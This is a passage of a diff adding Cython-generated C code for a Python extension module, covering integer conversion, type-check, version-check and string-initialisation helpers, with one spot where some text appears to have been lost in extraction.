}\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + 